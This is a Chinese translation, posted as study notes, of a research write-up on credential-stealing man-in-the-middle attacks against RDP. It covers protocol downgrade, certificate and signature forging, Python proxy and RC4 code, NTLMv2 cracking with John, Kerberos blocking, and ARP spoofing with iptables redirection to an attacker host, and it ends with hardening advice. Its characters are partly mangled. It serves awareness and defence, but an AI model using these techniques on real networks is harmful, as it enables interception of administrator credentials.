最近看到一篇关于RDP攻击的文章,不是很新的内容,本着学习的目的进行简单的翻译,也当作学习笔记,鉴于水平有限,有不少不到位的地方,还请包涵。node
RDP协议被系统管理员天天用来管理远程Windows服务器。最多见的场景之一就是,用RDP在核心服务器上执行远程管理任务,好比用高权限的帐户登陆域控服务器,这个帐户的凭据经过RDP进行传输。所以,使用安全的RDP配置更加显得相当重要。因为配置错误,常常遇到以下的证书警告:python
若是在你所处的环境中,常常出现这种警告,将没法识别出潜在的MitM攻击。git
本文的目的在于提高安全意识,严肃的看待证书警告的重要性以及如何进行安全配置。计划的读者群是系统管理员、渗透测试人员以及安全爱好者。虽然没必要要,但推荐读者最好具有如下的背景知识:github
- 公钥及对称密码体制(RSA、RC4)
- SSL
- x509 证书
- TCP
- Python
- 十六进制数及二进制代码
本文将证实如何经过MitM攻击窃取用户凭证。文章内容没有涉及到最新的技术,甚至是早已被Cain实现过的技术。可是,Cain实在是太老了,并且关闭了源码而且只能在Windows下使用。本文将分析技术细节,以及RDP协议的内部工做原理,并尽量真实的模拟一次攻击行为。算法
声明:不得利用本文涉及到的技术获取不属于你的服务器权限。本文仅用于教学,且需取得系统管理员的受权。不然,你的行为有可能涉及违法。本文涉及的源代码可在如下连接中找到。https://github.com/SySS-Research/Seth。数组
首先利用Wirdshark,看看在经过RDP链接至服务器时到底发生了些什么:
如图所示,客户端以一个建议开始,建议对RDP会话使用安全协议。咱们将三个安全协议作以下区分:缓存
- 标准RDP安全协议
- 强化的RDP安全协议或TLS协议
- CredSSP(凭据安全服务提供者)
以上截图仅显示了前两种安全协议。请注意,RDP默认执行标准安全协议,客户端没有专门提示。TLS仅仅是将标准RDP安全协议封装在TLS通道之中。顺便,在本文中将互换的使用SSL协议与TLS协议。安全
CredSSP也是封装在TLS协议之中,不过在受保护的通道中所传输的再也不是明文的密码,而是用于认证的NTLM或者Kerberos协议。这个协议一般状况下也被用于网络级别认证(NLA)。bash
早期的用户认证有个特征,容许服务器在用户提交任何凭据以前拒绝客户端的访问。好比,在用户没有所需的访问权限的状况下。服务器
在Wireshark所截取的会话中,能够看到在客户端与服务器协商使用强化的RDP协议以后,双方进行了SSL握手。在这种状况下,咱们在协商完成后的第一个数据包上点击右键,选择将TCP流解码至SSL。
因此,若是咱们想对RDP会话进行MitM攻击,仅仅使用SSL代理是不够的,这个代理须要可以识别RDP协议。咱们选择Python来实现这样一个代理。为实现这个目标,首先创建一个服务端socket,用来接受来自受害客户端的连接。同时创建一个客户端socket,用来连接真正的服务器。代理程序在两个socket之间进行数据转发,在必要的状况下使用SSL协议对数据进行封装。在此过程当中,咱们会详细检查数据,并对感兴趣的数据进行修改。
首先须要修改的数据就是客户端协议的安全级别,客户端本来想通知服务端使用CredSSP,但经过代理修改安全级别至标准RDP安全协议。在默认配置下,服务端将会正常回复。
主程序以下:
def run(): open_sockets() handle_protocol_negotiation() if not RDP_PROTOCOL == 0: enableSSL() while True: if not forward_data(): break def forward_data(): readable, _, _ = select.select([local_conn, remote_socket], [], []) for s_in in readable: if s_in == local_conn: From = "Client" to_socket = remote_socket elif s_in == remote_socket: From = "Server" to_socket = local_conn data = s_in.recv(4096) if len(data) == 4096: while len(data)%4096 == 0: data += s_in.recv(4096) if data == b"": return close() dump_data(data, From=From) parse_rdp(data, From=From) data = tamper_data(data, From=From) to_socket.send(data) return True def enableSSL(): global local_conn global remote_socket print("Enable SSL") local_conn = ssl.wrap_socket( local_conn, server_side=True, keyfile=args.keyfile, certfile=args.certfile, ) remote_socket = ssl.wrap_socket(remote_socket)
run():建立socket,处理协议协商,在必要的状况下启用SSL。完成以后在两个socket之间进行数据转发。
dump_data():在debug模式下,以十六进制形式将数据打印在屏幕上。
parse_rdp():从数据流中提取敏感信息,并利用tamper_data()进行修改。
由于在破解标准RDP安全协议时须要用到密码学相关知识,在此概要的介绍下RSA的基本概念。读者可根据自身状况选择跳过此节。
在RSA加密算法中,加密、解密、签名都是纯粹的数学操做,工做在简单整数的环境中。请明确,全部操做都限定于有限域之中。在生成RSA中的密钥对时,须要两个大素数p和q。模数\(n = p*q\)。利用欧拉函数计算 \(φ(n)=(p−1)*(q−1)\)。随机选择e,使得e与φ(n)互质。利用扩展欧几里得算法求e的逆元d,使得\(e·d ≡ 1 mod φ(n)\)。
此时d为私钥,e、n构成公钥。理论上讲d能够经过n、e计算得出,可是在不知道p和q的状况下,求解φ(n)是困难的。这也就是为何RSA算法的安全性基于大数分解的难度。在目前状况下,没有人知道更加有效的大数分解算法,除非拥有光量子计算机。
假设待加密明文为m,密文为c,e为公钥,d为私钥。
则加密变换为:\(c≡m^e mod n\)。
解密变换为:\(m≡c^d mod n\)。
若是你确实不明白以上的加解密算法,不要紧,这是数学问题,对于这篇文章来讲确实有点难度。签名和解密同样,只须要在一段消息的hash值上进行运算。
当m或者c远大于256bit时,运算的开销会很是大,因此一般状况下,仅会使用RSA对对称加密的密钥进行加密。明文一般状况下使用一次一密的对称加密算法(如AES等)进行加解密。
事实上,对于标准的RDP安全机制根本谈不上破解,由于其设计伊始就存在缺陷。标准RDP协议安全机制工做流程以下:
客户端声明将使用标准RDP安全协议;
- 服务端赞成使用该协议,并将自身的RSA公钥以及一个服务端随机数发送给客户端。公钥以及如主机名等一些其余信息的集合就称为“证书”。该证书使用终端服务的私钥进行签名(RSA签名机制),以确保证书的真实性;
- 客户端使用公钥验证证书的真实性,若验证成功,则使用公钥对客户端随机数进行加密,并发送至服务端;
- 服务端使用私钥进行解密,获取客户端随机数;
客户端、服务端都从客户端随机数、服务端随机数中获取到了会话密钥。会话密钥用来加密会话的其他部分。
请注意,以上全部流程都是明文传输没有使用SSL。理论上没有任何问题,Microsoft想要本身实现SSL实现的功能。可是,密码体制不是一件简单的事,一般状况下,要依赖现有的、通过时间检验的解决方案,而不是本身创建一套新的方案。此时,Microsoft犯了一个严重的错误,该错误如此明显,以致于我彻底不理解为何会这样作。
你能看出问题在哪吗?客户端是如何获取到终端服务的公钥?答案就是:预装!这就意味着每一个系统中的公钥都是同样的。更甚者,私钥也是同样的!因此,公私钥能够从任意Window系统中提取出来。事实上,咱们甚至都不须要如此作,由于Microsoft已经决定将之正式的公布在网站上,只须要访问microsoft.com就能够查看到。
在会话密钥已经被获取的状况下,对称加密有如下几种模式:None、40bit RC四、56bit RC四、128bit RC四、3DES(以上被称为FIPS)。默认状况下使用128bit RC4(“High”)。可是,若是咱们能够窃取到密钥,如论加密强度如何,都没有意义。
至此,目标已清晰:当收到服务端的公钥后,迅速生成咱们本身的RSA密钥对,并替换真实的公钥。同时用私钥对证书进行签名。当客户端成功的获取到虚假的公钥以后,咱们就可以获取到客户端的随机数。利用私钥进行解密,重写以后,用服务端的公钥从新加密,并发送。至此,咱们就能够成功的嗅探客户端与服务端之间的通讯了。
如今,惟一存在的问题就是RDP数据包的分析,下图为咱们感兴趣的一个数据包:
表示公钥的字段已经被高亮表示出来了。最前面的两个以小端模式表示的字节,表明了公钥的长度(0x011c)。如同以前讨论过的,公钥由模数和指数两部分组成。查阅RDP协议格式,找出咱们感兴趣的字段,如下是模数字段:
签名字段以下:
服务端随机数以下:
保留服务端随机数,修改模数和签名。为了生成咱们本身的RSA密钥对,咱们使用openssl,虽然Python拥有RSA库,但执行效率要比openssl慢。
$ openssl genrsa 512 | openssl rsa -noout -text Generating RSA private key, 512 bit long modulus .....++++++++++++ ..++++++++++++ e is 65537 (0x010001) Private-Key: (512 bit) modulus: 00:f8:4c:16:d5:6c:75:96:65:b3:42:83:ee:26:f7: e6:8a:55:89:b0:61:6e:3e:ea:e0:d3:27:1c:bc:88: 81:48:29:d8:ff:39:18:d9:28:3d:29:e1:bf:5a:f1: 21:2a:9a:b8:b1:30:0f:4c:70:0a:d3:3c:e7:98:31: 64:b4:98:1f:d7 publicExponent: 65537 (0x10001) privateExponent: 00:b0:c1:89:e7:b8:e4:24:82:95:90:1e:57:25:0a: 88:e5:a5:6a:f5:53:06:a6:67:92:50:fe:a0:e8:5d: cc:9a:cf:38:9b:5f:ee:50:20:cf:10:0c:9b:e1:ee: 05:94:9a:16:e9:82:e2:55:48:69:1d:e8:dd:5b:c2: 8a:f6:47:38:c1 prime1: [...]
如今,咱们生成了所须要的模数n、公钥e、私钥d。事实上,咱们须要2048bit的密钥,而不是示例中的512bit,但生成思路是一致的。
伪造签名也很简单,计算证书的前六个字段,按照协议格式添加内容,并用私钥进行加密,如下是利用Python的函数实现:
def sign_certificate(cert): """Signs the certificate with the private key""" m = hashlib.md5() m.update(cert) m = m.digest() + b"\x00" + b"\xff"*45 + b"\x01" m = int.from_bytes(m, "little") d = int.from_bytes(TERM_PRIV_KEY["d"], "little") n = int.from_bytes(TERM_PRIV_KEY["n"], "little") s = pow(m, d, n) return s.to_bytes(len(crypto["sign"]), "little")
接下来须要截取的数据包包含有加密的客户端随机数,数据包以下:
再一次,将数据包中的关键字段高亮表示,开始的四个字节表明长度(0x0108)。因为该数据包是用生成的公钥加密,因此咱们能够轻易的用私钥进行解密:
如今,只须要用服务端的公钥从新加密,修改数据包并发送。如今成功得到了私密的客户端随机数,但不知道什么缘由,Microsoft并无将之做为对称加密的密钥。这里须要一个精心构造过的调用,来生成客户端的密钥、服务端的密钥以及签名密钥。虽然无趣但却并不困难。
在获取到会话密钥以后,初始化RC4流中的s-boxes。因为RDP针对来自客户端的消息与服务端的消息使用了不用的密钥,因此咱们须要两个s-boxes。s-boxes是一个256字节的数组,数组内的每一个元素都被密钥扰乱,最终生成伪随机子密码,利用xor操做,对明文进行加密。Python实现算法以下:
class RC4(object): def __init__(self, key): x = 0 self.sbox = list(range(256)) for i in range(256): x = (x + self.sbox[i] + key[i % len(key)]) % 256 self.sbox[i], self.sbox[x] = self.sbox[x], self.sbox[i] self.i = self.j = 0 self.encrypted_packets = 0 def decrypt(self, data): out = [] for char in data: self.i = (self.i + 1) % 256 self.j = (self.j + self.sbox[self.i]) % 256 self.sbox[self.i], self.sbox[self.j] = ( self.sbox[self.j], self.sbox[self.i] ) out.append(char ^ self.sbox[( self.sbox[self.i] + self.sbox[self.j]) % 256 ]) self.encrypted_packets += 1 if self.encrypted_packets >= 4096: self.update_key() return bytes(bytearray(out)) def update_key(self): print("Updating session keys") # TODO finish this
从代码中能够看出,RDP协议要求加密过4096个数据包以后就更新密钥。本文并无着力去解决这个问题,主要是证实证书中存在的漏洞。
如今咱们具有了读取数据流的全部背景知识。咱们对数据流中包含的击键信息很感兴趣。经过查阅MSDN,学习RDP协议中的键盘事件及相关知识。在处理键盘、鼠标消息及一些其余细节时,处理的并非很完善。但对于PoC来讲,已经足够了。
接下来,用客户端链接伪造的RDP服务端,弹出警告。
注意到什么了吗?这并非一个SSL警告。至此,咱们已经可以成功的监听到客户端的击键信息了。这也就是Cain的实现原理。
仅仅下降RDP协议的安全等级远远不够,做为一名攻击者,将会努力使得攻击变得更加隐蔽。受害者会注意到警告与一般状况下的差别,并在创建连接以后依然会要求证书。
一样的问题一直困扰着我,在使用Cain对RDP展开MitM攻击的时候,看不到SSL警告。我发现向客户解释为何SSL警告如此重要很困难,特别当他们使用不可以确实的自签名证书时,这个MitM攻击致使了彻底不一样的警告。
接下来让咱们尝试下降强化RDP安全协议的安全等级。首先,咱们须要自签名的SSL证书,能够用openssl生成:
$ openssl req -new -newkey rsa:"$KEYLENGTH" -days "$DAYS" -nodes -x509 \ -subj "$SUBJ" -keyout privatekey.key -out certificate.crt 2> /dev/null
在恰当的时候将通讯数据封装在SSL之中进行发送,这些工做已经完成。如同以前所说,标准RDP协议被封装在SSL协议中,可是服务端一般状况下将加密等级选为“None”。使用SSL确保数据的完整性和真实性可用被很好的仿冒。在SSL之上再使用RC4彻底是浪费资源。提取密钥的过程如同以前所说的同样。
惟一额外的安全特征是在SSL连接已经创建好以后,服务端须要确认原始的握手请求。服务端对客户端说“请你告诉我你所可以使用的安全协议”。从二进制的角度来看,以下所示:
客户端会将这个数据同最初发送的请求数据相比较,若是不一致就结束连接。很显然,这已经太晚了。做为中间人,能够修改从客户端发出的数据包,将上图中0x4c处的数据进行替换,原始值为0x03。以后,咱们就能够轻松的读取所有明文。
如同预期的同样,受害者看到了一个合适的SSL警告。但事实上已经不同了。在RDP连接创建以前,当使用咱们本身的证书的时候仍是有一些区别。不像NLA,认证发生在会话之中。再次,总有一些地方和标准工做流程存在差别,使得管理员有可能注意获得。
首先声明,咱们其实并无真正的突破CredSSP,实际上是在规避它。首先,让咱们看看若是不降级攻击,真实的连接是什么样的。相关数据以下:
高亮部分为客户端的挑战值及NTLM响应,服务端的挑战值在以前的消息之中。
咱们如今所看到的是NTLM认证。这是一种挑战-响应技术,客户端获取到服务端的挑战值(相似于以前提到过的服务端随机数),客户端挑战值和用户密码还有一些其余值,被加密为hash值。这个hash值被称为“NTLM响应”,并被传输至服务端。
这个值是如何计算出来的,对咱们来讲并不重要。咱们须要知道就是,NTLM不能被重放攻击,也不能进行哈希传递攻击,可是能够进行hash碰撞攻击。NTLM实现的hash算法称为HMAC-MD5,是一个至关简单的算法,但一般状况下会使用salt。可使用Hashcat或者John The Ripper进行破解,使用John时的hash格式以下:
<Username>::<Domain>:<ServerChallenge>:<ClientChallenge>:<NTLMResponse>
示例数据以下:
User1::RD14:a5f46f6489dc654f:110d658e927f077b0402040cc1a6b6ef:0101000000000 000d5fda87cec95d201a7559d44f431848a0000000002000800520044003100340001000800 44004300300031000400140072006400310034002e006c006f00630061006c0003001e00640 06300300031002e0072006400310034002e006c006f00630061006c00050014007200640031 0034002e006c006f00630061006c0007000800d5fda87cec95d201060004000200000008003 000300000000000000000000000002000004cfa6e96109bd90f6a4080daaa8e264e4ebfaffa e9e368af787f53e389d96b180a0010000000000000000000000000000000000009002c00540 0450052004d005300520056002f003100390032002e003100360038002e00340030002e0031 0037003900000000000000000000000000
将以上数据存为hashes.txt,使用以下命令启动john:
$ echo 'S00perS3cretPa$$word' | ./john --format=netntlmv2 --stdin hashes.txt Using default input encoding: UTF-8 Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) Will run 8 OpenMP threads Press Ctrl-C to abort, or send SIGUSR1 to john process for status S00perS3cretPa$$word (User1) 1g 0:00:00:00 33.33g/s 33.33p/s 33.33c/s 33.33C/s S00perS3cretPa$$word Use the "--show" option to display all of the cracked passwords reliably Session completed
结果如上,聊胜于无,但咱们能作的更好。
咱们必须明确一个问题“服务端是如何确认NTLM响应的?”这就须要用到域控服务器。但若是域控服务器不可用呢?服务端会发出“使用强化的RDP代替NLA”,客户端会遵照这个消息。有趣的是,在客户端已经缓存密码以后,会选择直接发送密码,而不是将用户重定向到登陆窗口。这正是咱们想要的。除去SSL警告以外,没有任何其余的异常。
因此,在客户端已发送NTLM响应以后,咱们用如下数据替代服务端的响应。
00000000: 300d a003 0201 04a4 0602 04c0 0000 5e 0.............^
相关内容没有找到官方文档,在实际中,当服务端没法联系到域控制器的时候所发送的数据包就是如此。客户端将会降级到强化的RDP协议,显示SSL警告,并经过SSL向服务端传输密码。
注意,咱们并无看到SSL警告。根据标准,客户端会发送SSL证书的指纹到服务端,该指纹被CredSSP协议中的密钥所加密。若是和服务端证书的指纹不匹配,该会话将被终止。这也就是以前为何受害者输入错误的密码时咱们能监听获得,输入正确的密码时,咱们只能看到TLS错误的缘由。
如今须要作的工做就是截取NTLM的响应值。经过改写Python脚本,返回特定的NTLM响应,使得NTLM认证始终失败。受害者不会注意到,如以前所说,咱们将协议降级至TLS,以后证书将会被从新发送。
在此,还有一件事须要说明。若是客户端属于域内主机,将不会使用NTLM。取而代之的是Kerberos,在创建连接以前,客户端会联系域控服务器,获取ticket。对咱们来讲,这是件好事。对于攻击者来讲,Kerberos的ticket相对于有salt的NTLM更没用。若是攻击者进行中间人攻击,能够经过锁定全部与Kerberos服务进行通讯的数据,猜猜以后会发生什么?若是客户端联系不到Kerberos服务,将会自动降级为NTLM。
至此,咱们已经可以在实验环境中实现整个攻击流程。但在真实环境中,受害者在RDP客户端中并不会输入MitM代理的ip,而是他们本身服务器的IP。有不少种方法可以实现中间人攻击,在此咱们选用ARP欺骗。对于PoC来讲,实现起来足够简单,因为ARP欺骗是layer-2层的攻击,因此攻击者与受害者须要在一个共同的子网之中。
在欺骗ARP、容许IPv4转发以后,受害者与网关之间的全部流量都会流经咱们的主机。可是咱们仍是不知道受害者所输入的IP地址,因此没法启动Python脚本。
首先建立一条iptables规则,拒绝全部来自受害者的用于RDP服务的SYN包:
$ iptables -A FORWARD -p tcp -s "$VICTIM_IP" --syn --dport 3389 -j REJECT
咱们不但愿转发任何其余的流量,若是受害者已经创建好了RDP连接,将会终止该连接。若是咱们不拒绝这些数据包,受害者将同真正的服务器创建连接,而不是咱们的MitM代理。
第二,监听来自受害者的流量,等待目的端口为3389的SYN包,目的是找出目标服务器的IP地址。利用tcpdump实现:
$ tcpdump -n -c 1 -i "IFACE" src host "$VICTIM_IP" and \ "tcp[tcpflags] & tcp-syn != 0" and \ dst port 3389 2> /dev/null | \ sed -e 's/.> ([0-9.]).3389:.*/\1/'
参数“-c 1”表示首次匹配成功后即退出。这个SYN包将被丢弃,但不要紧,很快受害者主机将会重发这个包。
第三,获取服务端的SSL证书,建立同名的自签名证书,同时修改证书的过时时间。除非花费大量的时间和精力检查指纹信息,不然很难区分二者之间的差异。如下bash脚本能够完成上述功能。
接下来移除以前的iptables规则,将受害者与真实服务器之间的流量所有转发到咱们的MitM代理地址上:
$ iptables -t nat -A PREROUTING -p tcp -d "ORIGINAL_DEST" \ -s "VICTIM_IP" --dport 3389 -j DNAT --to-destination "ATTACKER_IP"
为了实现从Kerberos到NTLM的强制降级,锁定了全部受害者与目标端口为88的流量。
$ iptables -A INPUT -p tcp -s "VICTIM_IP" --dport 88 \ -j REJECT --reject-with tcp-reset
至此,咱们已经准备好运行Python脚本的全部环境。
$ rdp-cred-sniffer.py -c "CERTPATH" -k "KEYPATH" "ORIGINAL_DEST"
左图为受害者经过3389登陆域控服务器,右图为成功截取到的明文密码。
做为系统管理员,此刻你可能想知道能作些什么来确保网络的安全。
首先,最为关键的是,当服务器身份得不到确认的状况下,绝对不能创建RDP连接。好比,SSL证书没有被可信的CA签名。使用企业CA对全部服务器证书进行签名。客户端必须配置GPO,当证书不能被确认的状况下拒绝连接。配置路径以下:
Computerconfiguration→Policies→AdministrativeTemplates→WindowsComponents →RemoteDesktopServices (or Terminal Services)→Remote Desktop Connection Client →Configure server authentication for client
对因而否须要在服务端配置CredSSP(NLA)相对比较复杂。这一点一样能在组策略中实现:
[路径如上]→Remote Desktop Session Host (or Terminal Server)→Security →Require user authentication for remote connections by using Network Level Authentication
咱们已经了解到客户端将用户证书进行了缓存,NLA不可能方便的进行重传,证书被缓存在内存之中。这些数据能够被拥有SYSTEM权限的攻击者获取到,同时使用Mimikatz。这是一款难以想象的脚本,在被感染的主机上能够成功的获取到已登陆帐号的明文密码,而且横向获取其余帐号的密码,直到成功获取到域管理员的帐号。这也就是为何只能在域管服务器上使用私人的域管帐号。
可是经过RDP远程登陆域控服务器,使得服务器上遗留下了一个高权限的帐号,这是一个很是严重的问题。除此以外,若是启用了NLA,“用户在下次登陆时必须改变密码”也被启用,仅在终端服务中的用户将会被锁定。至今为止咱们所能确认的是,NLA更方便,因为使用更少的资源因此能够减轻Dos攻击,而且能够防止如同MS12-020这样的基于网络的针对RDP的攻击。这也是为何内部还在讨论是否推荐禁用NLA。
若是你拒绝使用NLA,能够在组策略中进行以下设置,“在远程链接中须要使用SSL”。
增长RDP的安全性还有其余两种措施,第一种是使用除了证书以外的第二种因素。有不少第三方的产品可使用,至少对域控制器这类关键系统进行加固。
万一你须要使用Linux经过RDP链接Windows终端服务,须要提醒的是,比较流行的RDP客户端rdesktop是没法使用NLA而且没法验证SSL证书的。另外一款可替代的产品xfreerdp至少能够验证证书。
最后,请注意SSL警告不能被轻视,不管是在RDP仍是在HTTPS的环境中。做为管理员,你有责任确认客户端已经将你的CA设置为可信证书。经过这种方式,能够确保SSL警告属于异常行为,而不是广泛现象,在出现异常时能够及时寻求IT部门的协助。